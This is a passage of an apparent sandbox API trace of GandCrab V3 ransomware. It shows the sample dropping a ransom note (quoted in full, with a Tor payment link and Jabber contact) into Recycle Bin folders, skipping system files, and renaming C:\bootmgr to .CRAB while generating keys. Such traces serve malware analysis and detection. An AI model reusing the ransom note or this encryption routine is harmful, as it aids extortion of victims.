	[0090.421] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.421] lstrlenW (lpString="C:\\$Recycle.Bin\\CRAB-DECRYPT.txt") returned 32
	[0090.421] lstrlenW (lpString="C:\\$Recycle.Bin\\CRAB-DECRYPT.txt") returned 32
	[0090.421] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0090.421] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0090.421] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0090.422] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0090.422] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0090.422] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0090.422] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0090.422] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0090.422] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0090.422] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.422] FindNextFileW (in: hFindFile=0xd48280, lpFindFileData=0x314f208 | out: lpFindFileData=0x314f208) returned 1
	[0090.422] lstrcmpW (lpString1="S-1-5-18", lpString2=".") returned 1
	[0090.422] lstrcmpW (lpString1="S-1-5-18", lpString2="..") returned 1
	[0090.422] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\", lpString2="S-1-5-18" | out: lpString1="C:\\$Recycle.Bin\\S-1-5-18") returned="C:\\$Recycle.Bin\\S-1-5-18"
	[0090.422] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\S-1-5-18", lpString2="\\" | out: lpString1="C:\\$Recycle.Bin\\S-1-5-18\\") returned="C:\\$Recycle.Bin\\S-1-5-18\\"
	[0090.422] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0090.422] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0090.422] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0090.422] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0090.423] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0090.423] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.423] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314df60, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0090.423] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0090.423] lstrcmpiW (lpString1="C:\\$Recycle.Bin\\S-1-5-18\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0090.423] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314d748, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0090.424] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0090.424] lstrcmpiW (lpString1="C:\\$Recycle.Bin\\S-1-5-18\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0090.424] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0090.425] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\$Recycle.Bin\\S-1-5-18\\\\CRAB-DECRYPT.txt") returned 42
	[0090.425] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\\\CRAB-DECRYPT.txt" (normalized: "c:\\$recycle.bin\\s-1-5-18\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0
	[0090.427] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0090.427] WriteFile (in: hFile=0x3b0, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314df44, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314df44*=0xcce, lpOverlapped=0x0) returned 1
	[0090.427] CloseHandle (hObject=0x3b0) returned 1
	[0090.428] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.428] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\") returned 25
	[0090.428] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\S-1-5-18\\", lpString2="*" | out: lpString1="C:\\$Recycle.Bin\\S-1-5-18\\*") returned="C:\\$Recycle.Bin\\S-1-5-18\\*"
	[0090.428] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 0xd48400
	[0090.428] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0090.428] FindNextFileW (in: hFindFile=0xd48400, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 1
	[0090.430] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0090.430] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0090.430] FindNextFileW (in: hFindFile=0xd48400, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 1
	[0090.430] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0090.430] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0090.430] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\S-1-5-18\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\$Recycle.Bin\\S-1-5-18\\CRAB-DECRYPT.txt") returned="C:\\$Recycle.Bin\\S-1-5-18\\CRAB-DECRYPT.txt"
	[0090.430] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0090.430] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\$Recycle.Bin\\S-1-5-18\\CRAB-DECRYPT.txt") returned 41
	[0090.430] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\CRAB-DECRYPT.txt") returned 41
	[0090.430] lstrlenW (lpString=".txt") returned 4
	[0090.430] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0090.431] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0090.431] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.431] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\CRAB-DECRYPT.txt") returned 41
	[0090.431] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\CRAB-DECRYPT.txt") returned 41
	[0090.431] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0090.431] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0090.431] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0090.431] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0090.431] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0090.431] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0090.431] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0090.431] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0090.431] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0090.431] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.432] FindNextFileW (in: hFindFile=0xd48400, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 1
	[0090.434] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1
	[0090.434] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1
	[0090.434] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\S-1-5-18\\", lpString2="desktop.ini" | out: lpString1="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini"
	[0090.434] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0090.434] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36
	[0090.434] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36
	[0090.434] lstrlenW (lpString=".ini") returned 4
	[0090.434] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0090.434] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".ini ") returned 5
	[0090.434] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.435] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36
	[0090.435] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36
	[0090.435] lstrcmpiW (lpString1="desktop.ini", lpString2="desktop.ini") returned 0
	[0090.435] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.435] FindNextFileW (in: hFindFile=0xd48400, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 0
	[0090.435] FindClose (in: hFindFile=0xd48400 | out: hFindFile=0xd48400) returned 1
	[0090.435] FindNextFileW (in: hFindFile=0xd48280, lpFindFileData=0x314f208 | out: lpFindFileData=0x314f208) returned 1
	[0090.435] lstrcmpW (lpString1="S-1-5-21-1462094071-1423818996-289466292-1000", lpString2=".") returned 1
	[0090.435] lstrcmpW (lpString1="S-1-5-21-1462094071-1423818996-289466292-1000", lpString2="..") returned 1
	[0090.435] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\", lpString2="S-1-5-21-1462094071-1423818996-289466292-1000" | out: lpString1="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000") returned="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000"
	[0090.435] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000", lpString2="\\" | out: lpString1="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\") returned="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\"
	[0090.435] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0090.436] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0090.436] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0090.436] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0090.436] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0090.436] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.436] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314df60, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0090.436] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0090.436] lstrcmpiW (lpString1="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0090.436] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314d748, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0090.436] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0090.436] lstrcmpiW (lpString1="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0090.436] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0090.436] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\\\CRAB-DECRYPT.txt") returned 79
	[0090.437] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\\\CRAB-DECRYPT.txt" (normalized: "c:\\$recycle.bin\\s-1-5-21-1462094071-1423818996-289466292-1000\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0
	[0090.438] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0090.438] WriteFile (in: hFile=0x3b0, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314df44, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314df44*=0xcce, lpOverlapped=0x0) returned 1
	[0090.439] CloseHandle (hObject=0x3b0) returned 1
	[0090.439] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.440] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\") returned 62
	[0090.440] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="*" | out: lpString1="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\*") returned="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\*"
	[0090.440] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\*", lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 0xd48400
	[0090.440] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0090.440] FindNextFileW (in: hFindFile=0xd48400, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 1
	[0090.440] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0090.440] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0090.440] FindNextFileW (in: hFindFile=0xd48400, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 1
	[0090.440] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0090.440] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0090.440] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\CRAB-DECRYPT.txt") returned="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\CRAB-DECRYPT.txt"
	[0090.440] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0090.441] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\CRAB-DECRYPT.txt") returned 78
	[0090.441] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\CRAB-DECRYPT.txt") returned 78
	[0090.441] lstrlenW (lpString=".txt") returned 4
	[0090.441] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0090.441] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0090.441] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.441] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\CRAB-DECRYPT.txt") returned 78
	[0090.441] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\CRAB-DECRYPT.txt") returned 78
	[0090.441] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0090.441] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0090.442] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0090.442] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0090.442] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0090.442] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0090.442] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0090.442] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0090.442] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0090.442] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.442] FindNextFileW (in: hFindFile=0xd48400, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 1
	[0090.442] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1
	[0090.442] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1
	[0090.442] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="desktop.ini" | out: lpString1="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\desktop.ini") returned="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\desktop.ini"
	[0090.442] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0090.442] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\desktop.ini") returned 73
	[0090.442] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\desktop.ini") returned 73
	[0090.442] lstrlenW (lpString=".ini") returned 4
	[0090.442] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0090.443] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".ini ") returned 5
	[0090.443] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.443] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\desktop.ini") returned 73
	[0090.443] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\desktop.ini") returned 73
	[0090.443] lstrcmpiW (lpString1="desktop.ini", lpString2="desktop.ini") returned 0
	[0090.443] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.443] FindNextFileW (in: hFindFile=0xd48400, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 0
	[0090.443] FindClose (in: hFindFile=0xd48400 | out: hFindFile=0xd48400) returned 1
	[0090.444] FindNextFileW (in: hFindFile=0xd48280, lpFindFileData=0x314f208 | out: lpFindFileData=0x314f208) returned 0
	[0090.444] FindClose (in: hFindFile=0xd48280 | out: hFindFile=0xd48280) returned 1
	[0090.444] FindNextFileW (in: hFindFile=0xd47e80, lpFindFileData=0x314fcb0 | out: lpFindFileData=0x314fcb0) returned 1
	[0090.444] lstrcmpW (lpString1="Boot", lpString2=".") returned 1
	[0090.444] lstrcmpW (lpString1="Boot", lpString2="..") returned 1
	[0090.444] lstrcatW (in: lpString1="C:\\", lpString2="Boot" | out: lpString1="C:\\Boot") returned="C:\\Boot"
	[0090.444] lstrcatW (in: lpString1="C:\\Boot", lpString2="\\" | out: lpString1="C:\\Boot\\") returned="C:\\Boot\\"
	[0090.444] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0090.444] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.444] FindNextFileW (in: hFindFile=0xd47e80, lpFindFileData=0x314fcb0 | out: lpFindFileData=0x314fcb0) returned 1
	[0090.444] lstrcmpW (lpString1="bootmgr", lpString2=".") returned 1
	[0090.444] lstrcmpW (lpString1="bootmgr", lpString2="..") returned 1
	[0090.444] lstrcatW (in: lpString1="C:\\", lpString2="bootmgr" | out: lpString1="C:\\bootmgr") returned="C:\\bootmgr"
	[0090.444] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0090.445] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\bootmgr") returned 10
	[0090.445] lstrlenW (lpString="C:\\bootmgr") returned 10
	[0090.445] lstrlenW (lpString="C:\\bootmgr") returned 10
	[0090.445] lstrlenW (lpString="C:\\bootmgr") returned 10
	[0090.445] lstrcmpiW (lpString1="bootmgr", lpString2="desktop.ini") returned -1
	[0090.445] lstrcmpiW (lpString1="bootmgr", lpString2="autorun.inf") returned 1
	[0090.445] lstrcmpiW (lpString1="bootmgr", lpString2="ntuser.dat") returned -1
	[0090.445] lstrcmpiW (lpString1="bootmgr", lpString2="iconcache.db") returned -1
	[0090.445] lstrcmpiW (lpString1="bootmgr", lpString2="bootsect.bak") returned -1
	[0090.445] lstrcmpiW (lpString1="bootmgr", lpString2="boot.ini") returned 1
	[0090.445] lstrcmpiW (lpString1="bootmgr", lpString2="ntuser.dat.log") returned -1
	[0090.445] lstrcmpiW (lpString1="bootmgr", lpString2="thumbs.db") returned -1
	[0090.445] lstrcmpiW (lpString1="bootmgr", lpString2="CRAB-DECRYPT.txt") returned -1
	[0090.445] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0090.445] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\bootmgr.CRAB") returned 15
	[0090.445] GetFileAttributesW (lpFileName="C:\\bootmgr" (normalized: "c:\\bootmgr")) returned 0x27
	[0090.450] SetFileAttributesW (lpFileName="C:\\bootmgr", dwFileAttributes=0x26) returned 0
	[0090.451] MoveFileW (lpExistingFileName="C:\\bootmgr" (normalized: "c:\\bootmgr"), lpNewFileName="C:\\bootmgr.CRAB" (normalized: "c:\\bootmgr.crab")) returned 1
	[0090.452] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0090.452] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\bootmgr.CRAB" | out: lpString1="C:\\bootmgr.CRAB") returned="C:\\bootmgr.CRAB"
	[0090.452] lstrcatW (in: lpString1="C:\\bootmgr.CRAB", lpString2=".CRAB" | out: lpString1="C:\\bootmgr.CRAB.CRAB") returned="C:\\bootmgr.CRAB.CRAB"
	[0090.452] CryptAcquireContextW (in: phProv=0x314f2d0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314f2d0*=0xd6eb78) returned 1
	[0090.453] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0090.453] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0090.453] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0090.453] CryptGenRandom (in: hProv=0xd6eb78, dwLen=0x10, pbBuffer=0x314f40c | out: pbBuffer=0x314f40c) returned 1
	[0090.453] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0090.453] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.454] CryptAcquireContextW (in: phProv=0x314f2d0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314f2d0*=0xd6ed98) returned 1
	[0090.454] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0090.454] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0090.455] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0090.455] CryptGenRandom (in: hProv=0xd6ed98, dwLen=0x20, pbBuffer=0x314f3e8 | out: pbBuffer=0x314f3e8) returned 1
	[0090.455] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
